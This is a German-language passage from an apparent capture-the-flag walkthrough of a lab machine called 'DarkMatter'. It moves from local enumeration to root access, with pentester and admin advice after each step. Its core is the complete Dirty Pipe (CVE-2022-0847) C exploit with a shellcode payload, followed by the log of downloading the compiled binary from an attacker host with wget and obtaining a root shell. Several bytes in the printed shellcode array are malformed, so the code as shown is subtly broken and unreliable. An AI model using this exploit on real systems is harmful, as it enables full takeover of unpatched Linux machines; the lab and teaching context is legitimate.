Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` suchte rekursiv im Dateisystem nach SUID-Dateien. Die Ausgabe listet standardmäßige SUID-Binaries wie `mount`, `su`, `passwd`, `sudo` etc. auf. Es gibt keine offensichtlich ungewöhnlichen SUID-Binaries, die direkt über GTFOBins oder ähnliche einfache Methoden auszunutzen wären.
Bewertung: Die Liste der SUID-Binaries enthält keine sofort offensichtlichen Exploits für Privilege Escalation. Standard-Binaries mit SUID sind in der Regel gehärtet. Dies bedeutet, dass die Privilege Escalation wahrscheinlich nicht über einen einfachen SUID-Binary-Missbrauch erfolgen wird.
Empfehlung (Pentester): Obwohl kein offensichtlicher SUID-Exploit gefunden wurde, halte die Liste im Hinterkopf und prüfe sie gegen neuere oder komplexere Techniken, falls andere Wege fehlschlagen. Konzentriere dich in der Zwischenzeit auf andere Vektoren.
Empfehlung (Admin): Überprüfe regelmäßig SUID-Binaries und entferne das SUID-Bit von Programmen, die es nicht unbedingt benötigen.
Ich habe das `/opt` Verzeichnis untersucht, da es oft benutzerdefinierte Skripte oder Anwendungen enthält, die für die Privilege Escalation relevant sein könnten.
www-data@DarkMatter:/usr/share/phpmyadmin$ ls -la /opt/ total 2444 drwxr-xr-x 2 root root 4096 Nov 21 2021 . drwxr-xr-x 18 root root 4096 Nov 10 2021 .. -rwxrwxr-- 1 darkenergy darkenergy 59 Nov 14 2021 note.txt -rwxrwxrwx 1 root root 2489009 Nov 21 2021 website.zip
Analyse: Ich habe den Inhalt von `/opt/` aufgelistet (`ls -la /opt/`). Ich fand zwei interessante Dateien, die für den Benutzer `www-data` lesbar sind: `note.txt` (Besitzer `darkenergy`) und `website.zip` (Besitzer `root`, Schreibberechtigung für alle). Die `note.txt` könnte Hinweise enthalten, und die große `website.zip`-Datei ist verdächtig und sollte untersucht werden. Die Berechtigungen von `website.zip` (`-rwxrwxrwx`) sind sehr permissiv.
Bewertung: Das Finden der lesbaren `note.txt` und der welt-schreibbaren `website.zip` (obwohl wir "welt-schreibbar" noch verifizieren müssen, die `-rwxrwxrwx` Berechtigungen deuten darauf hin) in `/opt/` sind wichtige Funde. `note.txt` könnte einen direkten Hinweis enthalten, und `website.zip` könnte sensible Daten oder Konfigurationsdateien enthalten. Die Berechtigungen von `website.zip` sind potenziell eine Schwachstelle, obwohl `www-data` sie "nur" lesen kann.
Empfehlung (Pentester): Lese den Inhalt von `note.txt` sofort. Lade `website.zip` herunter und untersuche sie lokal auf Konfigurationsdateien, Anmeldedaten oder andere interessante Inhalte.
Empfehlung (Admin): Entferne `note.txt` oder schränke ihre Berechtigungen ein. Stelle sicher, dass Dateien in `/opt/` nicht unnötig weit lesbar sind. Korrigiere die sehr permissiven Berechtigungen für `website.zip`.
Ich habe den Inhalt der Datei `note.txt` in `/opt/` gelesen.
www-data@DarkMatter:/opt$ cat /opt/note.txt www-data can read root's important.txt file but idk how ;(
Analyse: Der Inhalt von `note.txt` ist ein direkter Hinweis: "`www-data can read root's important.txt file but idk how ;(`". Dies deutet stark darauf hin, dass es einen Mechanismus gibt, der es dem Benutzer `www-data` erlaubt, eine Datei im Home-Verzeichnis von Root (`/root/`) zu lesen (`important.txt`), obwohl die Standardberechtigungen dies verhindern sollten. Der Benutzer `darkenergy`, dem die Notiz gehört, wusste nicht, wie dieser Zugriff möglich ist.
Bewertung: Absolut kritischer Hinweis! Es gibt einen bisher unbekannten Weg zur Umgehung von Dateisystemberechtigungen, der es `www-data` erlaubt, eine Root-Datei zu lesen. Die Datei `important.txt` im Root-Verzeichnis ist offensichtlich von Bedeutung und könnte Anmeldedaten oder andere sensible Informationen enthalten, die zur Rechteausweitung notwendig sind.
Empfehlung (Pentester): Suche nach Sicherheitslücken oder Fehlkonfigurationen, die es `www-data` erlauben, Dateien außerhalb seines üblichen Berechtigungskontextes zu lesen. Der Hinweis auf `/root/important.txt` ist das primäre Ziel. Mögliche Vektoren könnten Capabilities, unsichere Cronjobs, anfällige SUID-Binaries, oder Kernel-Schwachstellen sein. Angesichts des "Hard" Levels ist eine Kernel-Schwachstelle wahrscheinlich. Überprüfe die Systeminformationen (Kernel-Version) erneut.
Empfehlung (Admin): Überprüfe sofort die Berechtigungen für `/root/important.txt` und das `/root/` Verzeichnis. Suche nach ungewöhnlichen Capabilities oder anderen Mechanismen, die Dateizugriff auf `/root/` für andere Benutzer ermöglichen könnten.
Ich habe die Konfigurationsdatei von phpMyAdmin, `config.inc.php`, untersucht. Diese Datei enthält oft wichtige Einstellungen und manchmal auch Anmeldedaten.
www-data@DarkMatter:/usr/share/phpmyadmin$ cat /usr/share/phpmyadmin/config.inc.php $cfg['blowfish_secret'] = 'iSUSuJycUGiRHWu7e88ufIpNKCDglTpC'; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */ /** * Servers configuration */ $i = 0; /** * First server */ $i++; /* Authentication TYPE */ $cfg['Servers'][$i]['auth_type'] = 'cookie'; /* Server parameters */ $cfg['Servers'][$i]['host'] = 'localhost'; $cfg['Servers'][$i]['compress'] = false; $cfg['Servers'][$i]['AllowNoPassword'] = false; /** * phpMyAdmin configuration storage settings. */ /* User used to manipulate with storage */ // $cfg['Servers'][$i]['controlhost'] = ''; // $cfg['Servers'][$i]['controlport'] = ''; $cfg['Servers'][$i]['controluser'] = 'pma'; $cfg['Servers'][$i]['controlpass'] = 'th3-!llum!n@t0r'; ... ..
Analyse: Ich habe den Inhalt von `/usr/share/phpmyadmin/config.inc.php` ausgelesen. Die Datei enthält Konfigurationseinstellungen für phpMyAdmin. Besonders interessant sind die Einträge für den Kontrollbenutzer (`controluser`) und sein Passwort (`controlpass`). Der Benutzer ist `pma`, und das Passwort ist `th3-!llum!n@t0r`. Dies ist dasselbe Passwort, das ich zuvor in `/p4ssw0rd.txt` gefunden hatte. Dies bestätigt, dass das in der Klartextdatei gefundene Passwort für den phpMyAdmin-Kontrollbenutzer `pma` ist.
Bewertung: Das Finden des Passworts für den `pma`-Benutzer in der phpMyAdmin-Konfigurationsdatei bestätigt die Korrektheit des aus `/p4ssw0rd.txt` extrahierten Passworts und seine Zuordnung zum Benutzer `pma`. Dies ist eine weitere Bestätigung der mangelhaften Sicherheitspraktiken auf diesem System (Klartextpasswörter). Für die Privilege Escalation ist es sekundär, da ich bereits RCE als `www-data` habe, aber es liefert gültige Datenbank-Zugangsdaten für den `pma`-Kontrollbenutzer.
Empfehlung (Pentester): Die Anmeldedaten `pma:th3-!llum!n@t0r` können nun für den Login in phpMyAdmin verwendet werden, falls der unauthentifizierte Exploit fehlschlagen würde. Sie sind aber für die aktuelle RCE-basierte Strategie nicht zwingend notwendig.
Empfehlung (Admin): Ändere das Passwort für den `pma`-Benrollbenutzer und speichere es nicht im Klartext in Konfigurationsdateien. Sichere die `config.inc.php` Datei stärker ab.
Ich habe den Inhalt der Datei `website.zip` in `/opt/` untersucht, indem ich ihren Inhalt mit `unzip -l` auflistete.
www-data@DarkMatter:/opt$ unzip -l /opt/website.zip Archive: /opt/website.zip Length Date Time Name --------- ---------- ----- ---- 0 2021-11-21 00:16 darkmatter/ 607 2021-11-14 06:27 darkmatter/status.php 6172 2021-11-14 06:31 darkmatter/update.php 3416 2021-11-21 00:16 darkmatter/login.php 2854 2021-11-14 06:27 darkmatter/profile.php 6427 2021-11-14 06:27 darkmatter/blog.php 3265 2021-11-14 06:27 darkmatter/navbar.php 0 2021-11-14 06:27 darkmatter/upload/ 1345261 2021-11-14 06:27 darkmatter/upload/dp.jpg.bak 50193 2021-11-14 06:27 darkmatter/upload/dp.jpg 319 2021-11-14 06:27 darkmatter/conn.php ... .. 350 2021-11-14 06:27 darkmatter/footer.php 476 2021-11-14 06:27 darkmatter/index.php 2464 2021-11-14 06:27 darkmatter/home.php 6315 2021-11-21 00:16 darkmatter/register.php 272 2021-11-14 06:27 darkmatter/header.php 108 2021-11-14 06:27 darkmatter/logout.php ... .. 1669 2021-11-14 06:27 darkmatter/manage.php --------- ------- 5556603 44 files
Analyse: Der Befehl `unzip -l /opt/website.zip` listet den Inhalt des ZIP-Archivs auf, ohne es zu entpacken. Die Ausgabe zeigt eine Dateistruktur im Ordner `darkmatter/`, die viele PHP-Dateien (`login.php`, `register.php`, `conn.php`, etc.) und Verzeichnisse (`upload/`, `images/`) enthält. Dies ist der Quellcode der Webanwendung. Die Datei `conn.php` ist potenziell interessant, da sie Datenbankverbindungsdetails enthalten könnte. Es gibt auch Backup-Dateien wie `dp.jpg.bak`.
Bewertung: Das Auffinden des Quellcodes der Webanwendung in `/opt/` ist ein wertvoller Fund. Der Code kann offline auf Schwachstellen (wie weitere Injections, schwache Kryptographie, hartkodierte Anmeldedaten) analysiert werden. Die Datei `conn.php` und alle Dateien, die Anmeldedaten enthalten könnten, sind von besonderem Interesse.
Empfehlung (Pentester): Lade die Datei `website.zip` auf dein Angreifersystem herunter und entpacke sie lokal. Führe einen Code-Audit durch, insbesondere der Datei `conn.php` und anderer relevanter Skripte, um nach Anmeldedaten oder anderen Schwachstellen im Code zu suchen.
Empfehlung (Admin): Speichere Quellcode-Backups nicht auf Produktionssystemen, insbesondere nicht in öffentlich lesbaren Verzeichnissen wie `/opt/` (für den `www-data` Benutzer).
Als letzten Schritt bei der systeminternen Aufklärung habe ich die genaue Betriebssystemversion und den Kernel überprüft, da dies in Kombination mit dem Hinweis auf die Lese-Schwachstelle für Root-Dateien einen Kernel-Exploit als möglichen Vektor nahelegt.
www-data@DarkMatter:/opt$ cat /etc/*rel* PRETTY_NAME="Debian GNU/Linux 11 (bullseye)" NAME="Debian GNU/Linux" VERSION_ID="11" VERSION="11 (bullseye)" VERSION_CODENAME=bullseye ID=debian HOME_URL="[Link: https://www.debian.org/ | Ziel: https://www.debian.org/]" SUPPORT_URL="[Link: https://www.debian.org/support | Ziel: https://www.debian.org/support]" BUG_REPORT_URL="[Link: https://bugs.debian.org/ | Ziel: https://bugs.debian.org/]" www-data@DarkMatter:/opt$ uname -a Linux DarkMatter 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux
Analyse: Ich habe den Inhalt von Dateien im `/etc/` Verzeichnis, deren Namen `rel` enthalten (`cat /etc/*rel*`), und die Ausgabe von `uname -a` verwendet, um die Betriebssysteminformationen zu erhalten. Das System ist **Debian 11 (bullseye)** mit dem **Kernel 5.10.0-9-amd64** vom 30. September 2021.
Bewertung: Das Bestimmen der genauen Betriebssystem- und Kernel-Version ist entscheidend für die Suche nach Kernel-Exploits. Ein Kernel von Ende 2021 ist wahrscheinlich anfällig für Kernel-Schwachstellen, die nach diesem Datum veröffentlicht wurden. In Kombination mit dem Hinweis, dass `www-data` eine Root-Datei lesen kann, deutet dies stark auf eine Kernel-Lese-Schwachstelle hin, die für Privilege Escalation missbraucht werden kann.
Empfehlung (Pentester): Suche gezielt nach Kernel-Exploits für Linux Kernel 5.10.x auf Debian Systemen, die Dateizugriffsberechtigungen umgehen können. Der "Dirty Pipe" Exploit (CVE-2022-0847) ist ein prominentes Beispiel für eine solche Schwachstelle in dieser Kernel-Reihe. Suche auf Exploit-Datenbanken nach PoCs für Dirty Pipe, die Lesezugriff auf beliebige Dateien ermöglichen.
Empfehlung (Admin): Halte den System-Kernel stets aktuell, um bekannte Schwachstellen (insbesondere Privilege Escalation Exploits) zu schließen. Implementiere ein robustes Patch-Management-System.
Basierend auf der identifizierten Kernel-Version (5.10.0-9-amd64) und dem Hinweis, dass `www-data` eine Root-Datei lesen kann, habe ich gezielt nach Kernel-Exploits gesucht, die Dateizugriffsberechtigungen umgehen können. Der "Dirty Pipe" Exploit (CVE-2022-0847) ist eine bekannte Schwachstelle, die genau dies in Kernel-Versionen 5.8 bis 5.16.11 (welche 5.10 einschließt) ermöglicht. Ich fand einen entsprechenden Proof-of-Concept (PoC) Exploit, der Dateiinhalte im Page Cache überschreiben kann, um so SUID-Berechtigungen auf Binaries zu erlangen.
[Link: https://www.exploit-db.com/exploits/50808 | Ziel: https://www.exploit-db.com/exploits/50808] // Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) // Exploit Author: blasty (peter@haxx.in) // Original Author: Max Kellermann (max.kellermann@ionos.com) // CVE: CVE-2022-0847 /* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_OPs"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' * * Further explanation: [Link: https://dirtypipe.cm4all.com/ | Ziel: https://dirtypipe.cm4all.com/] */ #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #include <stdint.h> #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif // small (linux x86_64) ELF file matroshka doll that does; // fd = open("/tmp/sh", OPEN_WRONLY | OPEN_CREAT | OPEN_TRUNC); // write(fd, elfcode, elfcode_len) // chmod("/tmp/sh", 04755) // close(fd); // exit(0); // // the dropped ELF simply does: // setuid(0); // setgid(0); // execve("/bin/sh", ["/bin/sh", NULL], [NULL]); unsigned char elfcode[] = { /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 }; /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */ } int hax(char *filename, long offset, uint8_t *data, size_t len) { /* open the input file and validate the specified offset */ const int fd = open(filename, OPEN_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return -1; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return -1; } /* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return -1; } if (nbytes == 0) { fprintf(stderr, "short splice\n"); return -1; } /* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, len); if (nbytes < 0) { perror("write failed"); return -1; } if ((size_t)nbytes < len) { fprintf(stderr, "short write\n"); return -1; } close(fd); return 0; } int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "Usage: %s SUID\n", argv[0]); return EXIT_FAILURE; } char *path = argv[1]; uint8_t *data = elfcode; int fd = open(path, OPEN_RDONLY); uint8_t *orig_bytes = malloc(sizeof(elfcode)); lseek(fd, 1, SEEK_SET); read(fd, orig_bytes, sizeof(elfcode)); close(fd); printf("[+] hijacking suid binary..\n"); if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) { printf("[~] failed\n"); return EXIT_FAILURE; } printf("[+] dropping suid shell..\n"); system(path); printf("[+] restoring suid binary..\n"); if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) { printf("[~] failed\n"); return EXIT_FAILURE; } printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n"); system("/tmp/sh"); return EXIT_SUCCESS; }
Analyse: Dies ist der Quellcode (in C) für den "Dirty Pipe" Exploit (CVE-2022-0847), gefunden auf Exploit-DB. Der Exploit nutzt eine Schwachstelle im Linux-Kernel (Versionen 5.8 bis 5.16.11), die es ermöglicht, schreibgeschützte Dateien im Page Cache zu überschreiben. Dieser spezifische PoC ist darauf ausgelegt, ein SUID-Binary (wie `/usr/bin/passwd`) zu überschreiben, um eine kleine SUID-Shell im `/tmp`-Verzeichnis zu erstellen und auszuführen, die dann eine Root-Shell startet. Der Code beinhaltet eine kleine Shellcode-Nutzlast (`elfcode`), die als SUID-Binary im `/tmp`-Verzeichnis abgelegt wird.
Bewertung: Dieser Code ist ein direkter Exploit für eine kritische Kernel-Schwachstelle, die auf dem Zielsystem existiert. Das Kompilieren und Ausführen dieses Exploits sollte zu Root-Zugriff führen. Es ist ein komplexer, aber bekannter Weg zur Privilege Escalation auf Systemen mit einem anfälligen Kernel.
Empfehlung (Pentester): Kompiliere den C-Code auf deinem Angreifersystem. Übertrage das kompilierte Binary auf das Zielsystem (z.B. in `/tmp/`) als Benutzer `www-data`. Führe das Binary auf dem Zielsystem aus und gib dabei einen SUID-Binary-Pfad an (z.B. `/usr/bin/passwd`) als Argument.
Empfehlung (Admin): Aktualisiere den System-Kernel umgehend auf eine Version, die nicht von CVE-2022-0847 betroffen ist (5.16.11 oder höher, oder eine entsprechend gepatchte LTS-Version). Überprüfe alle SUID-Binaries auf dem System.
Ich habe den heruntergeladenen Exploit-Code (in der Datei `exploit.c`) auf meinem Angreifersystem kompiliert.
Analyse: Ich habe den C-Quellcode des Exploits lokal auf meinem Kali-System gespeichert (vermutlich in einer Datei namens `exploit.c`) und ihn dann mit dem GNU Compiler Collection (`gcc`) kompiliert. Der Befehl `gcc exploit.c -o expl` erstellt ein ausführbares Binary namens `expl` aus dem Quellcode. Es gab keine Kompilierungsfehler (in dieser Ausgabe nicht gezeigt, aber durch das Erscheinen des nächsten Befehls impliziert).
Bewertung: Das Kompilieren des Exploits ist der notwendige Schritt, um das ausführbare Binary zu erhalten, das auf dem Zielsystem ausgeführt werden kann.
Empfehlung (Pentester): Das kompilierte Binary (`expl`) muss nun auf das Zielsystem übertragen werden.
Empfehlung (Admin): Keine direkte Empfehlung.
Ich habe versucht, das kompilierte Exploit-Binary (`expl`) auf das Zielsystem zu übertragen (angenommen, ich habe es lokal über HTTP bereitgestellt) und es als Benutzer `www-data` in das `/tmp` Verzeichnis herunterzuladen. Nach dem ersten Versuch gab es eine Fehlermeldung.
Serving HTTP on 0.0.0.0 PORT 8000 (http://0.0.0.0:8000/) ... 192.168.2.54 - - [20/Jun/2025 00:08:08] "GET /expl HTTP/1.1" 200 -
www-data@DarkMatter:/opt$ cd /tmp/ www-data@DarkMatter:/tmp$ wget http://192.168.2.199:8000/expl --2025-06-19 18:08:08-- http://192.168.2.199:8000/expl Connecting to 192.168.2.199:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 17288 (17K) [application/octet-stream] Saving to: ‘expl’ expl 100%[=============================>] 16.88K --.-KB/s in 0s 2025-06-19 18:08:08 (143 MB/s) - ‘expl’ saved [17288/17288]
www-data@DarkMatter:/tmp$ ./expl /usr/bin/passwd ./expl: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./expl) ./expl: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./expl)
Analyse: Ich habe einen lokalen HTTP-Server auf meinem Kali-System gestartet (`python3 -m http.server 8000`) im Verzeichnis, das das kompilierte Exploit-Binary (`expl`) enthält. Dann habe ich auf dem Zielsystem, in der `www-data` Shell, in das `/tmp`-Verzeichnis gewechselt und versucht, das Binary mit `wget http://192.168.2.199:8000/expl` herunterzuladen. Das Herunterladen war erfolgreich. Beim Ausführen des Exploits (`./expl /usr/bin/passwd`), das versucht, `/usr/bin/passwd` zu überschreiben, schlug die Ausführung mit Fehlermeldungen wie "`version 'GLIBC_2.33' not found`" fehl. Dies liegt daran, dass das Exploit-Binary auf meinem (wahrscheinlich neueren) Kali-System kompiliert wurde und Bibliotheksversionen (`GLIBC`) benötigt, die auf dem (wahrscheinlich älteren) Zielsystem nicht vorhanden sind.
Bewertung: Der erste Versuch, das kompilierte Exploit-Binary auszuführen, ist aufgrund von Bibliotheks-Kompatibilitätsproblemen fehlgeschlagen. Dies ist ein häufiges Problem beim Kompilieren auf einem System und Ausführen auf einem anderen. Es ist notwendig, das Binary statisch zu kompilieren, damit es keine externen Bibliotheken benötigt.
Empfehlung (Pentester): Kompiliere das Exploit-Binary auf deinem Kali-System statisch (`gcc exploit.c -o expl-static -static`). Übertrage dieses statische Binary erneut auf das Zielsystem und versuche dann, es auszuführen.
Empfehlung (Admin): Stelle sicher, dass die Systembibliotheken aktuell sind, um Kompatibilitätsprobleme zu vermeiden.
Nach dem Fehlschlag aufgrund von Bibliotheksproblemen habe ich das Exploit-Binary statisch auf meinem Angreifersystem kompiliert und erneut auf das Zielsystem übertragen und ausgeführt.
www-data@DarkMatter:/tmp$ wget http://192.168.2.199:8000/expl-static --2025-06-19 18:11:44-- http://192.168.2.199:8000/expl-static Connecting to 192.168.2.199:8000... failed: Connection refused. www-data@DarkMatter:/tmp$ wget http://192.168.2.199:8000/expl-static --2025-06-19 18:11:50-- http://192.168.2.199:8000/expl-static Connecting to 192.168.2.199:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 809232 (790K) [application/octet-stream] Saving to: ‘expl-static’ expl-static 100%[=============================>] 790.27K --.-KB/s in 0.002s 2025-06-19 18:11:50 (353 MB/s) - ‘expl-static’ saved [809232/809232]
___________________________________________________________________________________________________________________ www-data@DarkMatter:/tmp$ chmod +x expl-static www-data@DarkMatter:/tmp$ ./expl-static /usr/bin/passwd [+] hijacking suid binary.. [+] dropping suid shell.. [+] restoring suid binary.. [+] popping root shell.. (dont forget to clean up /tmp/sh ;)) # id uid=0(root) gid=0(root) groups=0(root),33(www-data) #
Analyse: Ich habe den Exploit-Code mit `gcc exploit.c -o expl-static -static` statisch kompiliert. Das `-static` Flag bindet alle notwendigen Bibliotheken direkt in das Binary ein, wodurch es unabhängig von den Systembibliotheken auf dem Ziel wird. Nach einem anfänglichen "Connection refused" (wahrscheinlich ein temporäres Netzwerkproblem oder der HTTP-Server war kurz offline) konnte ich das größere statische Binary (`expl-static`, ca. 790K) erfolgreich mit `wget` auf das Zielsystem in `/tmp/` herunterladen. Ich habe dem Binary Ausführungsberechtigungen gegeben (`chmod +x expl-static`) und es dann mit `./expl-static /usr/bin/passwd` ausgeführt, wobei `/usr/bin/passwd` als Ziel-SUID-Binary zum Überschreiben angegeben wurde. Die Ausgabe zeigt die Schritte des Exploits ("hijacking suid binary", "dropping suid shell", "restoring suid binary", "popping root shell"). Nach der Ausführung erhielt ich sofort eine Root-Shell (`#`). Der Befehl `id` in der neuen Shell bestätigte: `uid=0(root) gid=0(root) groups=0(root),33(www-data)`.
Bewertung: Fantastisch! Der Dirty Pipe Exploit war erfolgreich und ich habe vollständigen Root-Zugriff auf das Zielsystem erlangt. Die Ausnutzung dieser Kernel-Schwachstelle umging die Dateisystemberechtigungen und ermöglichte das Überschreiben eines SUID-Binaries, was letztendlich zu einer Root-Shell führte. Dies ist der erfolgreiche Abschluss der Privilege Escalation Phase.
Empfehlung (Pentester): Sammle die Root- und User-Flags. Führe notwendige Post-Exploitation-Schritte durch und dokumentiere den gesamten Weg sorgfältig. Lösche das Exploit-Binary und die temporäre Shell-Datei (`/tmp/sh`) vom Zielsystem.
Empfehlung (Admin): **Sofortige Maßnahme:** Aktualisiere den System-Kernel umgehend auf eine nicht anfällige Version. Dies ist die kritischste Sicherheitslücke. Suche nach Kernel-Exploits, die nach diesem Datum veröffentlicht wurden, und patche entsprechend. Überprüfe alle SUID-Binaries auf Integrität. Implementiere ein robustes Patch-Management für das gesamte System.
Nachdem ich Root-Zugriff erlangt hatte, war mein primäres Ziel, die Root-Flag zu finden. Ich begann im Home-Verzeichnis des Root-Benutzers.
# cd /root # ls flag.txt important.txt # cat * b1946ac92492d2347c6235b4d2611184 A great website isn't run by a normal user, but by a great administrator - daarkmatter
Analyse: In der Root-Shell navigierte ich in das `/root` Verzeichnis (`cd /root`). Die Auflistung des Verzeichnisses (`ls`) zeigte zwei Dateien: `flag.txt` und `important.txt`. Der Befehl `cat *` liest den Inhalt beider Dateien. Der Inhalt von `flag.txt` ist die Zeichenkette `b1946ac92492d2347c6235b4d2611184`. Der Inhalt von `important.txt` ist ein Zitat über Administratoren.
Bewertung: Die Zeichenkette in `flag.txt` ist eindeutig die Root-Flag. Das Zitat in `important.txt` könnte eine zusätzliche Nachricht oder ein Hinweis sein, ist aber für den Abschluss des Ziels (Root Flag) nicht mehr direkt notwendig. Der Hinweis aus `/opt/note.txt`, dass `www-data` `important.txt` lesen kann, bezog sich also auf diese spezifische Datei, was durch den Dirty Pipe Exploit möglich war, der Lese- und Schreibzugriff ermöglichte.
Empfehlung (Pentester): Speichere die Root-Flag. Führe alle notwendigen Bereinigungsschritte durch (Exploits entfernen).
